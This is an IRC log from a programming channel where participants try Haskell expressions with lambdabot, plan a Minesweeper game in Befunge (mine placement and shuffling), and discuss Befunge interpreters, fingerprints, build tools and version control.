02:19:44 <oerjan> > let g :: forall a. (FromExpr a) => a; g = f (f :: Expr) in g (g :: Expr) :: Expr
02:20:18 <lambdabot> Not in scope: type constructor or class `FromExpr'
02:20:29 * oerjan swats lambdabot -----###
02:24:01 <nooga_> ~s2(4 :x#_0:d#_1 ~p1(2:a#_0 ?>a0 *ap-a1 1 ?>d6 0 +*/^x+*2d1p+*2d1?=0%d2-011sx+d1
02:25:15 <ehird> looks like j code.
02:31:42 <nooga_> this whole haskell blows my mind
02:34:42 <nooga_> > [x*y | x <- [1,3...], y <- [1,-1...]]
02:34:44 <lambdabot> A section must be enclosed in parentheses thus: (3 ...)Not in scope: `...'A...
02:35:00 <nooga_> > [x*y | x <- [1,3..], y <- [1,-1..]]
02:35:01 <lambdabot> [1,-1,-3,-5,-7,-9,-11,-13,-15,-17,-19,-21,-23,-25,-27,-29,-31,-33,-35,-37,-...
02:35:09 <nooga_> > [x*y | x <- [1,3..], y <- [1,-1,1..]]
02:35:10 <lambdabot> <no location info>: parse error on input `..'
02:36:34 <nooga_> how to make [1,-1,1,-1,1...] list?
02:36:53 <lambdabot> [1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1...
02:37:02 <nooga_> > [x*y | x <- [1,3..], y <- cycle [1,-1]]
02:37:04 <lambdabot> [1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,-1...
02:37:37 <oerjan> it never gets past x = 1 because the second list is infinite
02:38:31 <nooga_> > zipWith (*) [1,3..] (cycle [1,-1])
02:38:32 <lambdabot> [1,-3,5,-7,9,-11,13,-15,17,-19,21,-23,25,-27,29,-31,33,-35,37,-39,41,-43,45...
02:39:25 <lambdabot> No instance for (GHC.Real.Fractional [t])
02:41:11 <oerjan> !haskell instance Num a => Num [a] where (+) = zipWith (+); main = print $ [1,2,3]+[6,7,8]
02:42:37 <oerjan> !haskell instance Num a => Num [a] where {(+) = zipWith (+)}; main = print $ [1,2,3]+[6,7,8]
02:43:06 <oerjan> dammit i didn't want a heap of warnings!
02:43:22 <oerjan> i know perfectly well i'm leaving out methods :(
02:45:46 <nooga_> > (zipWith (\x y -> y*n^x/(product[1..x])) [1,3..] (cycle [1,-1]))
02:45:48 <lambdabot> [1 * n / (1 * 1),negate 1 * (n * n * n) / (1 * 1 * 2 * 3),1 * (n * n * (n *...
02:46:03 <nooga_> > (zipWith (\x y -> y*n^x/(product[1..x])) [1,3..] (cycle [1,-1])) where n = 3.14
02:46:04 <lambdabot> <no location info>: parse error on input `where'
02:46:24 <nooga_> > let n = pi in (zipWith (\x y -> y*n^x/(product[1..x])) [1,3..] (cycle [1,-1]))
02:46:51 <nooga_> > let n = pi in (zipWith (\x y -> y*n**x/(product[1..x])) [1,3..] (cycle [1,-1]))
02:46:53 <lambdabot> [3.141592653589793,-5.167712780049969,2.550164039877345,-0.5992645293207919...
02:47:21 <oerjan> except i suspect that is wrong
02:47:50 <oerjan> not that it hurts though
02:48:28 <oerjan> ah you had a mixture of integer and floating point
02:48:33 <oerjan> that's always annoying
02:48:45 <lambdabot> forall a b. (Integral a, Num b) => a -> b
02:48:46 <nooga_> now let's sum several first values
02:52:32 <lambdabot> [1,3,6,10,15,21,28,36,45,55,66,78,91,105,120,136,153,171,190,210,231,253,27...
02:53:21 <lambdabot> [1,2,6,24,120,720,5040,40320,362880,3628800,39916800,479001600,6227020800,8...
02:54:07 <nooga_> > let n = pi in (sum . take 5) (zipWith (\x y -> y*n**x/(product[1..x])) [1,3..] (cycle [1,-1]))
02:54:44 <nooga_> > let n = pi in (sum . take 15) (zipWith (\x y -> y*n**x/(product[1..x])) [1,3..] (cycle [1,-1]))
02:55:24 <nooga_> that should approximate sin(n)
02:55:30 <nooga_> > let n = pi/2 in (sum . take 15) (zipWith (\x y -> y*n**x/(product[1..x])) [1,3..] (cycle [1,-1]))
02:55:39 <nooga_> > let n = 1.0 in (sum . take 15) (zipWith (\x y -> y*n**x/(product[1..x])) [1,3..] (cycle [1,-1]))
02:55:53 <nooga_> for pi/2 and 1 it's good
02:56:12 <nooga_> > let n = pi/1.5 in (sum . take 15) (zipWith (\x y -> y*n**x/(product[1..x])) [1,3..] (cycle [1,-1]))
02:56:43 <nooga_> didn't notice that e-16
02:56:56 -!- bsmntbombdood has joined.
02:57:38 <nooga_> let s n = (sum . take 15) (zipWith (\x y -> y*n**x/(product[1..x])) [1,3..] (cycle [1,-1]))
02:57:43 <nooga_> ~s2(4 :x#_0:d#_1 ~p1(2:a#_0 ?>a0 *ap-a1 1 ?>d6 0 +*/^x+*2d1p+*2d1?=0%d2-011sx+d1
02:57:55 <nooga_> sadol equivalent is longer
03:06:26 <oerjan> > let s n = sum . take 15 . scanl (\x y -> -x*n^2/y/(y+1)) n $ [3,5..] in s pi
03:07:11 <oerjan> > let s n = sum . take 15 . scanl (\x y -> -x*n^2/y/(y+1)) n $ [2,4..] in s pi
03:09:09 -!- oerjan has quit ("Later").
03:59:08 <game16> the guy who know J, just left?
03:59:50 -!- coppro has changed nick to coppwo.
04:24:35 -!- coppwo has quit (Remote closed the connection).
04:25:35 -!- coppwo has joined.
04:25:43 -!- coppwo has changed nick to coppro.
04:55:57 -!- bsmntbombdood has changed nick to adriyel.
04:57:08 -!- adriyel has quit (Nick collision from services.).
04:57:37 -!- bsmntbombdood_ has joined.
04:57:51 -!- bsmntbombdood_ has changed nick to bsmntbombdood.
05:07:21 -!- Halph has joined.
05:07:43 -!- coppro has quit (Read error: 104 (Connection reset by peer)).
05:07:54 -!- Halph has changed nick to coppro.
05:08:13 -!- fungebob_ has joined.
05:17:41 -!- calamari has joined.
05:24:19 -!- fungebob has quit (Read error: 110 (Connection timed out)).
05:29:45 -!- mtd has quit (Read error: 113 (No route to host)).
05:35:42 -!- oerjan has joined.
05:36:37 <oerjan> <game16> the guy who know J, just left? <-- if you mean oklopol, he isn't around these days, internet access problems
05:39:47 -!- mtd has joined.
06:36:09 -!- oerjan has quit ("leaving").
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:22:37 -!- KingOfKarlsruhe has joined.
08:39:09 -!- calamari has quit ("Leaving").
08:43:18 -!- jix has joined.
09:01:15 -!- Ilari has quit (Read error: 60 (Operation timed out)).
09:01:27 -!- Ilari has joined.
09:10:16 <Warrigal> > sum $ take 1000 $ (1/) $ filter (not . ('0' `elem`) . show) $ [1..] -- this will not do what it's supposed to do
09:10:17 <lambdabot> No instance for (GHC.Real.Fractional [a])
09:10:28 <Warrigal> > sum $ take 1000 $ map (1/) $ filter (not . ('0' `elem`) . show) $ [1..] -- this will not do what it's supposed to do
09:10:34 <lambdabot> mueval-core: Prelude.read: no parse
09:10:47 <Warrigal> > sum $ take 100 $ map (1/) $ filter (not . ('0' `elem`) . show) $ [1..] -- this will not do what it's supposed to do
09:10:53 <lambdabot> mueval-core: Prelude.read: no parse
09:11:51 <Warrigal> > sum $ take 1000 $ map ((1/) . fromInteger) $ filter (not . ('0' `elem`) . show) $ [1..]
09:12:00 <Warrigal> > sum $ take 10000 $ map ((1/) . fromInteger) $ filter (not . ('0' `elem`) . show) $ [1..]
09:12:09 <Warrigal> > sum $ take 100000 $ map ((1/) . fromInteger) $ filter (not . ('0' `elem`) . show) $ [1..]
09:12:17 <Warrigal> > sum $ take 1000000 $ map ((1/) . fromInteger) $ filter (not . ('0' `elem`) . show) $ [1..]
09:12:23 <lambdabot> mueval-core: Prelude.read: no parse
09:12:39 <Warrigal> Clearly, a more efficient method is required.
09:21:19 -!- KingOfKarlsruhe has left (?).
09:22:38 -!- DarkPants has joined.
09:22:38 -!- GreaseMonkey has quit (Read error: 60 (Operation timed out)).
09:58:03 -!- zid has changed nick to Guest32046.
10:02:20 -!- game16 has left (?).
10:25:59 -!- FireFly has joined.
10:45:38 -!- Guest32046 has changed nick to zid.
10:58:12 -!- DarkPants has quit ("HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it").
11:00:39 <Deewiant> fizzie: I saw your name on a piece of paper near a door.
11:00:57 <fizzie> Huh, that's strange. Where?
11:02:07 <Deewiant> Around rooms B300-330, I think.
11:02:17 <Deewiant> (I'm not sure what the number is at that point)
11:02:43 <Deewiant> It seemed to be next to a time saying 14:00 or 14:30 or something.
11:02:56 <Deewiant> Of course, I saw this all in about 0.1 seconds so I'm not entirely certain.
11:03:44 <Deewiant> I could go check but I'm not sure I feel like it.
11:04:44 <fizzie> Hm, yes. It was probably B322, the former CIS lab library. I guess it's ICS department library technically now. I "reserved" it for last Thursday (18.6.) 14:00-14:30 for a practice presentation thing to our speech people.
11:06:19 <fizzie> Phew. I was starting to think I'd completely forgotten about some sort of thing.
11:07:01 <Deewiant> Yes, I was hoping I'd see you run there in a panic. I should've told you at 13:55.
11:08:50 <fizzie> Yes. With that vague "B300-330" range, there'd've been quite a lot of rooms for me to barge in and go all "hey, am I supposed to be here now?" in.
11:11:55 <Deewiant> Well, you could've just looked for pieces of paper outside the doors and barge into the room whose paper contains your name.
11:14:31 <fizzie> Incidentally, I don't have my name in the place-for-names thing of this room I've been working in for about two years now.
11:15:09 <fizzie> Maybe that's why I don't get much visitors.
11:51:33 -!- BeholdMyGlory has joined.
12:04:26 <nooga_> fizzie: Deewiant: you're on the same university?
12:09:37 <fizzie> Yes. Well, in fact I have no clue what Deewiant's up to nowadays. At least he's still on the Laboratory for Theoretical Computer Science "Personnel" page, which quasi-recently was combinated with the Laboratory of Computer and Information Science, where I work.
12:10:23 <fizzie> So possibly we're both in the Department of Information and Computer Science now.
12:11:58 <fizzie> Not really, no. At least I *still* haven't graduated yet, though according to the current schedule I should be getting my master's thesis thing done by September or something. (And I do take care of the programming project of our AI course, which involves one lecture, so...)
12:17:53 <nooga_> wonder if oerjan teaches
13:08:45 <Deewiant> fizzie: Yes, I'm still up to working here at least for the summer.
13:09:42 <Deewiant> No, that's usually when I have lunch.
13:11:30 <Deewiant> Also, I think I'm creeping up on you; I guess you're somewhere in the A wing which probably means that my current B353-location is closer than last year's B333.
13:15:04 <fizzie> Actually I'm in C310; us speech people have gathered to this end of the building.
13:15:54 <fizzie> Did you happen to participate in the recent summer excursionary thing-thing?
13:16:16 <Deewiant> Yep, that thing-thing on a tuesday a few weeks back.
13:19:49 -!- Hiato has joined.
13:25:08 <Hiato> Generally accepted accounting practices
13:25:13 <fizzie> Deewiant: Oh. Well, in that case you might've even seen me there.
13:25:43 * Hiato figured no-one would try rotate that one
13:26:00 <Deewiant> I was one of the people who was forced to stand up and introduce themselves due to being summer trainees
13:26:41 <fizzie> Oh. Strange that I didn't connect the name, then.
13:28:00 <Deewiant> Were you one of the loudmouthed drunks in the sauna? They're mostly the ones whose faces stuck
13:29:14 <fizzie> Well, I was in the sauna, and I think I said approximately three sentences there.
13:29:43 <Deewiant> The people in question spoke volumes.
13:31:08 -!- Pthing has joined.
13:35:15 <fizzie> A gently epic gel nut cicada racer's concept. (An anagram for that accounting practices thing.)
13:37:58 -!- MigoMipo has joined.
13:40:57 <fizzie> Yes, it's not so irritatingly in-your-face epic as some other epic things.
13:41:19 <fizzie> Though truth to be told I'm not exactly sure a "gel nut cicada" is a real species.
13:41:25 <fizzie> I may have made it up.
13:53:28 <AnMaster> Deewiant, has anyone yet written a minesweeper game in befunge?
13:54:11 <AnMaster> (if not I'm probably going to make a simple one
13:54:26 -!- Sgeo has joined.
14:11:18 -!- game16 has joined.
14:12:14 -!- Hiato has quit ("Leaving").
14:12:16 <Deewiant> I can't think of anybody writing a minesweeper game in any esolang
14:23:32 * AnMaster writes a design document for a simple one
14:30:39 -!- BeholdMyGlory has quit (Remote closed the connection).
14:40:07 -!- Associat0r has joined.
15:14:48 -!- oerjan has joined.
15:15:49 -!- ais523 has joined.
15:24:42 <AnMaster> Deewiant, hm any idea about what sort of algorithm would give the best distribution of the mines?
15:25:04 <AnMaster> Maybe random number, then if we already have a mine on it, try again?
15:26:17 <AnMaster> Deewiant, the upper bound on that algorithm is horrible though
15:27:06 <Deewiant> Then just randomize in the range [0,number of empty spaces left)
15:27:17 <FireFly> The awesomeness with doing it in Befunge is the fact that you'll actually use the code grid as the game area (I suppose)
15:27:31 <FireFly> So that pos x,y actually IS pos x,y in the code
15:28:17 <AnMaster> FireFly, well, yes, except I planned to label the columns a-z, otherwise rendering it for the user would be messy.
15:28:23 <oerjan> AnMaster: worst cases that are as likely as being hit by a meteorite aren't _really_ a concern, you know
15:28:46 <AnMaster> yes you could render it vertically. But that sounds like a pain in befunge
15:28:53 <FireFly> Ah, true, but still, having the actual gameplay represented with chars in the code.. I like that :D
15:29:23 <Deewiant> oerjan: If the user requests 99 mines into a 10x10 grid it's not that unlikely
15:29:52 <AnMaster> interface planned is C X Y where C is a single letter command (like m for mark mine, r for reveal). X and Y are coordinates
15:30:14 <oerjan> in that case: place all the mines anywhere you want, then random reorder the field
15:30:14 <AnMaster> I plan to use VT100 colour codes to make the output more readable
15:30:36 <AnMaster> oerjan, random reorder is iirc tricky to get right?
15:30:47 <AnMaster> I remember something about swapping cards and being careful with swapping it again
15:30:49 <ais523> AnMaster: no, it's easy
15:30:53 <oerjan> yes, use knuth's algorithm
15:31:10 <ais523> one trivial algorithm is to exchange a random card with the last card, then a random card other than the last with the penultimate card, and so on
15:31:29 <ais523> oerjan: is that Knuth's algorithm? I discovered it myself, but it's so obvious it's bound to have been discovered before now
15:31:32 <AnMaster> oerjan, googling for that gives something called "Knuth's Algorithm X". Is that the right one?
15:32:02 <Deewiant> http://en.wikipedia.org/wiki/Fisher-Yates_shuffle
15:32:02 <oerjan> ais523: um we are assuming an algorithm that gives all permutations with the same probablity
15:32:29 <ais523> "random card" can include the card it's swapping with
15:33:02 <oerjan> hm, that's probably equivalent to knuth then
15:33:42 <ais523> oerjan: my version's explained lower down the page Deewiant linked to
15:33:55 <ais523> it's basically equivalent, just saves a bit of moving things around in memory
15:34:24 <ais523> and so is an order of n faster
15:38:46 -!- Judofyr has joined.
15:40:40 <AnMaster> ais523, Deewiant: how do you handle the "first click is never a mine" thingy
15:41:01 <ais523> but one trivial way to do it, if you want to, is to not randomize until after the first click
15:41:07 <ais523> and just leave the square clicked on out of the randomization
15:41:30 <AnMaster> (rewriting the design document that is)
15:41:45 <Deewiant> Eh? Just have a bit somewhere that says whether the map has been written or not
15:45:11 <AnMaster> lets see what what global variables you need:
15:46:17 <AnMaster> Size X, Size Y, Mine count, Number of flagged mines, the bit Deewiant mentioned, the mine field, a equally large block showing where player placed flags and what is revealed.
15:46:30 <AnMaster> oh and time stamp from when you started
15:47:15 <AnMaster> Deewiant, to give that "number of mines left to flag" thingy that minesweeper shows
15:47:38 <ais523> AnMaster: why are you implementing Minesweeper anyway?
15:47:53 <Deewiant> AnMaster: Instead of mine count and number of flagged mines, why not just number of unflagged mines
15:48:05 <AnMaster> Deewiant, doesn't that boil down to the same thing?
15:48:13 <Deewiant> Yes, but it's one less variable
15:49:15 <AnMaster> I never understood why mine sweepers have that question mark thingy tooo
15:50:21 <Deewiant> If you want to up the difficulty of coding it a notch, make sure that boards are always solvable without guessing
15:50:44 <AnMaster> Deewiant, No non-esoteric minesweeper app I have seen does that
15:51:07 <zid> I wanna implement a minesweeper solver actually
15:51:11 <zid> give me an interface to press butons
15:51:12 <ais523> and I'm pretty sure it's /possible/ to make a board that's always solvable without guessing
15:51:23 <zid> ais523: no
15:51:24 <Deewiant> minesweeper infinity does that
15:51:31 <zid> the first click is always a guess
15:51:32 <AnMaster> Deewiant, I usually play kmines
15:51:44 <ais523> zid: AnMaster wanted to use the rule where the first click is never a mine
15:51:53 <zid> generate it after the first click? clever
15:52:07 <ais523> you really need to know the actual location of the first click to make it always solvable without guessing, though
15:52:29 <AnMaster> what about that "fast clear if number of mines around a number matches"?
15:52:48 <ais523> Minesweeper's almost unplayable without it
15:52:54 <ais523> you can do that recursively
15:53:07 <Deewiant> Also "mines" at http://www.chiark.greenend.org.uk/~sgtatham/puzzles/ claims to do it
15:53:15 <zid> just display the game board already done to mark all 0 squares imo :P
15:53:17 <Deewiant> As a bonus, it has available source, unlike infinity
15:53:21 <ais523> likewise, you want click/middleclick on a number to clear unmarked squares around it if the number of marked squares around it is equal to the number
15:53:24 <AnMaster> ais523, I need the recursive one already for revealing when you hit a number-free cell
15:53:43 <ais523> oh, I thought that's what you were talking about in the first place
15:54:05 <AnMaster> ais523, no I meant "fast clear if number of mines around a number matches"
15:54:17 <zid> 'net' looks cool
15:54:20 <zid> oh, java, cool
15:54:23 <ais523> kmines actually uses the left mouse button
15:54:54 <AnMaster> ais523, I tried both, and first mouse button saves a significant amount of time
15:55:05 <ais523> I tend to both-click (left+right) anyway, it's a habit I formed back when I used Windows
15:55:19 <zid> whee, solved 'net' :P
15:55:39 <AnMaster> since I seldom use the normal reveal except at the start and when you get a tricky one where you know "this one must be free, and one of those two next to it must have a mine, but I don't know which yet"
15:55:49 <zid> you bastards, i'm going to be playing these games all day now
15:56:06 <Deewiant> http://svn.tartarus.org/*checkout*/sgt/puzzles/mines.c?content-type=text%2Fplain&rev=8402 has the src for the previously mentioned one.
15:56:06 <AnMaster> zid, nah, write on in brainfuck instead!
15:56:08 <ais523> I thought you were playing NetHack?
15:56:23 <AnMaster> mines as a mini-game in nethack
15:56:42 <AnMaster> since there is already sokoban (sp?), why not
16:00:31 <AnMaster> I think pre-calculating the numbers sounds like a good idea.
16:00:37 -!- GregorR-L has joined.
16:00:40 <zid> oh hey, black box
16:00:43 <zid> I like that game
16:00:46 <zid> I have it for X
16:01:01 <ais523> Emacs has a version too, IIRC
16:01:33 <AnMaster> I find that a detailed design document helps a lot when coding in befunge...
16:01:46 <zid> I like my X version better..
16:01:55 <AnMaster> I think there is one in kdegames
16:01:59 <zid> I kept adding new symbols to my befunge
16:02:13 * AnMaster decides on what fingerprints to use
16:02:13 <zid> I had graphics operations
16:02:31 <zid> fingerwhatties?
16:02:40 <AnMaster> loadable extensions in befunge-98
16:02:53 <AnMaster> like FPSP for single-precision floating point stuff
16:03:35 <AnMaster> In this mine sweeper I'm going to use FIXP for the randomness at least. Much better than a tree of ? trying to get an unbiased result...
16:03:56 <ais523> zid: in Befunge-98, there are loadable extensions that let you choose what the capital letters do
16:04:04 <ais523> it's a rather clever way to avoid running out of symbols
16:04:28 <zid> oh, cool I guess
16:04:34 <zid> I just hardcoded new ones
16:04:36 <AnMaster> if I need more than FIXP I'm probably going to use FING too to reassign the symbols as needed.
16:04:50 <AnMaster> I guess HRTI would be cool for the playing time bit
16:05:07 <ais523> but that's because pretty much anything's better than using y
16:05:07 <AnMaster> yay, microsecond precision timing
16:05:18 <AnMaster> ais523, it gives whole seconds resolution
16:05:21 <zid> anyone know of any decent befunge environments I can dick around with?
16:05:25 <zid> graphics/sockets/whatever would be nice
16:05:33 <ais523> zid: cfunge and/or CCBI are your best bets at the moment
16:05:43 <zid> sockets will do
16:05:44 -!- Judofyr has quit (Remote closed the connection).
16:05:48 <AnMaster> zid, note, cfunge needs a *nix.
16:05:53 <AnMaster> if you use windows you are screwed
16:06:04 <zid> Linux yggdrasil 2.6.30 #2 SMP PREEMPT Sun Jun 21 06:33:47 BST 2009 x86_64 Intel(R) Core(TM)2 Quad CPU Q6600 @ 2.40GHz GenuineIntel GNU/Linux
16:06:07 <zid> I got it covered
16:06:20 <AnMaster> zid, oh and Deewiant is the author of CCBI, and I'm the author of cfunge
16:06:31 <zid> AnMaster: which one should I use then? :P
16:06:46 <zid> GregorR-L: go check what fields are what in uname
16:06:50 <zid> yggdrasil is the hostname
16:06:59 <AnMaster> zid, depends: ccbi has a debugger (but is a bit slow), cfunge doesn't, but is the fastest befunge-98 implementation currently
16:07:07 <zid> cfunge it is then
16:07:16 <zid> does it make binaries or is it just an interp?
16:07:30 <ais523> compiling Befunge is effectively a case of bundling an interp
16:07:35 <AnMaster> fizzie was/is working on jitfunge
16:07:40 <zid> unless you wanna spend years on it
16:08:03 <lament> ais523: not if you thread it verry carefully
16:08:22 <zid> my befunge 'compiler' was just a jump table program written in asm and the source concatted onto the end
16:08:30 <Deewiant> AnMaster: Language::Befunge is a bit slow
16:08:37 -!- oerjan has quit ("leaving").
16:08:39 <Deewiant> CCBI is relatively quite fast :-P
16:08:40 <AnMaster> Deewiant, I mean, you can see the individual generations in that life.bf clearly when using ccbi. It is just a blur with cfunge
16:08:49 <ais523> Language::Befunge supports arbitrary dimensions though, doesn't it?
16:08:59 <zid> how about storing the file in a quad linked list?
16:09:01 <AnMaster> it is equally blurry with jitfunge, but that is only because the terminal limits the speed
16:09:09 <pikhq> zid: Forth-style programming is awesome and you know it. :)
16:09:13 <ais523> zid: cfunge uses a static array and a hash table
16:09:17 <zid> and instructions in runs with no way to get to the middle could be compressed down
16:09:32 <Deewiant> Not sure about the compression but it uses a quadtree
16:09:36 <zid> befunge dynarec, you know you want it
16:09:40 <AnMaster> zid, any compiler is fucked up as soon as you use p to do self-modification
16:09:44 -!- BeholdMyGlory has joined.
16:09:50 <zid> AnMaster: Possibly
16:09:57 <pikhq> AnMaster: Forth-style compilation.
16:10:00 <zid> as long as you could blackbox it, you can figure out what it can touch
16:10:20 <zid> Can I interface to libc or anything useful with cfunge?
16:10:24 <Deewiant> zid: CCBI also supports more fingerprints if you want to dick around with the more esoteric stuff
16:10:36 <zid> I wanna write a befunge webserver or something stupid
16:10:40 <AnMaster> zid, I did plan a FFI fingerprint, never finished the spec even for it though
16:10:40 <ais523> zid: you can interface to INTERCAL, and to C that way
16:10:45 <Deewiant> zid: There's a fingerprint for sockets
16:10:51 <ais523> the direct interface is unfinished, though
16:11:08 <zid> All I want is listen, bind, connect, select
16:11:11 <zid> if I have those, gg
16:11:17 <AnMaster> ais523, lack of interest and the issues with trying to handle structs made me give that idea up
16:11:22 <Deewiant> SOCK is basically a binding into socket.h.
16:11:31 <AnMaster> zid, both ccbi and cfunge has SOCK
16:11:38 <zid> what's 'bzr' ?
16:11:45 <ais523> zid: version control system
16:11:49 <ais523> maintained by Canonical
16:11:50 <zid> yea, what is it
16:11:50 <Deewiant> CCBI comes in a zip for simplicity
16:11:54 <zid> all the cool people use git
16:11:58 <ais523> GNU took it over because their own VCS was rubbish
16:12:06 <AnMaster> zid, the fingerprints in cfunge: http://pastebin.ca/1479605
16:12:11 <Deewiant> CCBI uses git but that part isn't public yet
16:12:15 <AnMaster> zid, you can download last release
16:12:20 <pikhq> ais523: They had either CVS or Arch.
16:12:23 <ais523> and hg/bzr/darcs all have many of the advantages of git
16:12:25 <zid> I granned cfunge 0.4.1 from sf
16:12:32 <ais523> pikhq: Arch, and you know how bad that is, if you've been listening to ehird
16:12:33 <AnMaster> zid, yes, it uses cmake to build
16:12:39 <pikhq> CVS is crufty, Arch is old.
16:12:44 <pikhq> And yes, I know how bad Arch is.
16:12:47 <zid> cvs can't merge
16:12:50 <zid> so it's useless
16:13:01 <Deewiant> AnMaster: Incidentally, I've been thinking about doing a Funge benchmark suite ("sometimes"), got any clever ideas?
16:13:04 <pikhq> Not useless, just pointless in this day and age.
16:13:08 <AnMaster> GregorR, cvs is still better than rcs!
16:13:09 <zid> AnMaster: never used cmake
16:13:18 <AnMaster> Deewiant, slowdown that doesn't fail for bignum
16:13:21 <Deewiant> Since we're on the topic I might as well ask even though it's not timely
16:13:24 <pikhq> It had a time and place. Not any more.
16:13:24 <GregorR-L> AnMaster: *shudder* ... I've actually been involved in projects that still used RCS >_>
16:13:38 <AnMaster> zid, easy enough, the steps are described in the README
16:13:43 <Deewiant> AnMaster: And anyway, that's not a benchmark.
16:13:52 <GregorR-L> Anyway, mercurial is the best and that's all there is to it. :P
16:13:53 <zid> just include a sh script that runs it :P
16:13:56 <AnMaster> see section "Configuring" and "Compiling" below that
16:14:16 <AnMaster> zid, err, it is just about as many steps as the ./configure thingy
16:14:18 <pikhq> cmake&&make&&make install, wasn't it?
16:14:33 <zid> I got told to mkdir build && cd build ** cmake ..
16:14:44 <Deewiant> Nobody cares about out-of-tree builds if they just want to build, install, forget.
16:15:03 <AnMaster> Deewiant, gcc can't be built in-tree iirc
16:15:06 <ais523> AnMaster: it isn't untested, you just haven't asked for results from the people who tested it
16:15:11 <ais523> and gcc's build process is truly awful
16:15:29 <zid> hooray, I has a cfunge binary
16:15:30 <AnMaster> ais523, correction: I haven't tested it myself for ages.
16:15:35 <ais523> basically, imagine taking a decent build system like cmake, then editing the binary to make it do something it wasn't designed to do
16:15:38 <pikhq> GCC's build process is more-or-less an Autotools wrapper for crazy Make.
16:15:43 <zid> AnMaster: You should make an ebuild
16:15:47 <ais523> gcc's build process is much the same thing, just with sh rather than binary
16:15:58 <AnMaster> zid, maybe... not sure any gentoo maintainer would care.
16:15:59 <coppro> gcc can't be built in-tree, and building it in the tree root is possible but unsupported
16:16:04 * zid has ebuilds for gcc so doesn't care :P
16:16:06 <zid> AnMaster: become it
16:16:17 <pikhq> GCC needs another EGCS.
16:16:35 <zid> AnMaster: too much work? all you have to do is make sure it doesn't break
16:16:49 <AnMaster> zid, to become a gentoo package maintainer!
16:17:06 <pikhq> AnMaster: Or a concerted effort to decruftify the thing.
16:17:09 <AnMaster> <Deewiant> AnMaster: Impossible <-- why?
16:17:18 <zid> AnMaster: Got a file in test/ that uses sockets?
16:17:21 <AnMaster> Deewiant, just check for -1 and then use some arbitrary upper limit
16:17:27 <zid> or these fingerprint things
16:17:29 <AnMaster> zid, hm probably not. Mycology tests it.
16:17:31 <Deewiant> AnMaster: It'll be arbitrary, which sucks.
16:17:43 <AnMaster> zid, the stuff in tests is mostly regression tests
16:17:57 <AnMaster> but the most complex current befunge apps are probably
16:18:01 <fungot> http://zem.fi/~fis/fungot.b98.txt
16:18:04 <zid> whee, conway's life.. kinda
16:18:26 <AnMaster> zid, it may scroll a bit too fast. But cfunge is rather optimised
16:18:45 <zid> no, it tears
16:19:56 <zid> AnMaster: tell me how to use SOCK quickly?
16:20:07 <AnMaster> zid, hm... let me find the spec for SOCK
16:20:11 <Deewiant> zid: http://www.rcfunge98.com/rcsfingers.html#SOCK
16:20:36 <ais523> is that one of the mkry fingerprints?
16:20:36 <AnMaster> Deewiant, fixed the mycoege thing yet?
16:20:54 <ais523> if so, how bad's the spec?
16:20:55 <Deewiant> Given that "mycoedge" does not exist
16:21:05 <AnMaster> Deewiant, Well... Whatever you want to call it then
16:21:12 <Deewiant> ais523: The page is practically a text document, it is quite safe to view
16:21:44 <ais523> I meant in terms of having hardly any detail and being really ambiguous
16:21:47 <Deewiant> AnMaster: /I/ mean that no such part of Mycology exists so there's nothing to "fix". It's not near the top of my TODO list.
16:22:00 <Deewiant> ais523: You can't view it yourself?
16:22:00 <AnMaster> ais523, the worst part of it is that the unix socket thing can't possibly work
16:22:17 <AnMaster> Deewiant, but is ccbi still broken on it?
16:22:56 <AnMaster> Deewiant, shouldn't you add that test and update the mycology results page ;P
16:23:22 <Deewiant> At least to the point of finishing most of my CCBI todo list
16:23:29 <AnMaster> Deewiant, it seems rather selfish to hold back a test for such a long time because your implementation would give a BAD :P
16:23:32 <Deewiant> Not necessarily new fingerprints, etc
16:23:52 <Deewiant> AnMaster: I'm one person. If you want to contribute a test, feel free. If it's quality, I'll accept it.
16:23:55 <AnMaster> zid, http://users.tkk.fi/~mniemenm/befunge/mycology.html btw
16:24:03 <Deewiant> Until then, I'm more interested in working on CCBI.
16:24:12 <Deewiant> AnMaster: Please, use the permalinks.
16:24:13 <Deewiant> http://iki.fi/matti.niemenmaa/befunge/mycology.html
16:24:30 <AnMaster> Deewiant, I always copy from url field
16:24:41 <AnMaster> if you don't use the one you want people to use up there, it isn't my fault
16:24:42 <Deewiant> Then don't be angry at me when your links break.
16:24:51 <Deewiant> AnMaster: It's not under my control.
16:25:06 <AnMaster> Deewiant, ok... but why would it break
16:25:30 <Deewiant> They're practically 100% guaranteed to break after some years when I graduate, since they're on the school's server.
16:25:53 <Deewiant> Hopefully they'll break before that when I start self-hosting.
16:26:04 <AnMaster> btw I probably need somewhere else to host cfunge web page soon... that web server is probably going down soon due to hosting company having serious financial issues...
16:26:07 <Warrigal> Oh dear, AnMaster and Deewiant are ðe same color.
16:26:08 <Deewiant> That's why there's a permalink provided, which won't break.
16:26:26 <Deewiant> Warrigal: Fortunately ðey use different letters.
16:26:48 <Warrigal> Ðe first time you turn on nick colors, ðey're kind of messed up.
16:26:48 <AnMaster> Warrigal, everyone is for me. Since I prefer three colours: self/other/highlight
16:27:02 <AnMaster> Warrigal, what is up with those symbols
16:27:05 <Warrigal> Yeah, irssi's default behavior.
16:27:19 <Warrigal> AnMaster: are you using UTF-8?
16:27:34 <AnMaster> Warrigal, yes but I have no clue what those symbols are supposed to translate to
16:27:42 <AnMaster> as in, what the hell they mean
16:27:52 <Warrigal> "Th", or, if you're a "dh" geek, "dh".
16:28:15 <Warrigal> It is a letter used in Icelandic.
16:28:28 <Warrigal> A "dh" geek is someone who really likes the digraφ "dh".
16:29:03 * AnMaster writes a reverse filter for this
16:29:04 <ais523> AnMaster: he inserted the Greek letter for ph there
16:30:04 <zid> AnMaster: it doesn't have select as far as I can see?
16:30:34 <AnMaster> zid, SCKE has that for a single socket. But no, there isn't any async socket stuff in general...
16:30:42 <zid> select isn't async
16:30:50 <Warrigal> I currently have ways to write all of ðe following letters: þ φ ŋ Þ Φ ə Ə ɚ Ŋ ψ Ψ Ŋ ð Ð ĉ Ĉ Χ χ ʃ Ʃ
16:30:53 <ais523> select is sort-of the bridge between sync and async
16:30:55 <AnMaster> zid, blame this on Mike Riley who speced the fingerprint
16:30:55 <zid> select blocks until a socket becomes ready to write/read
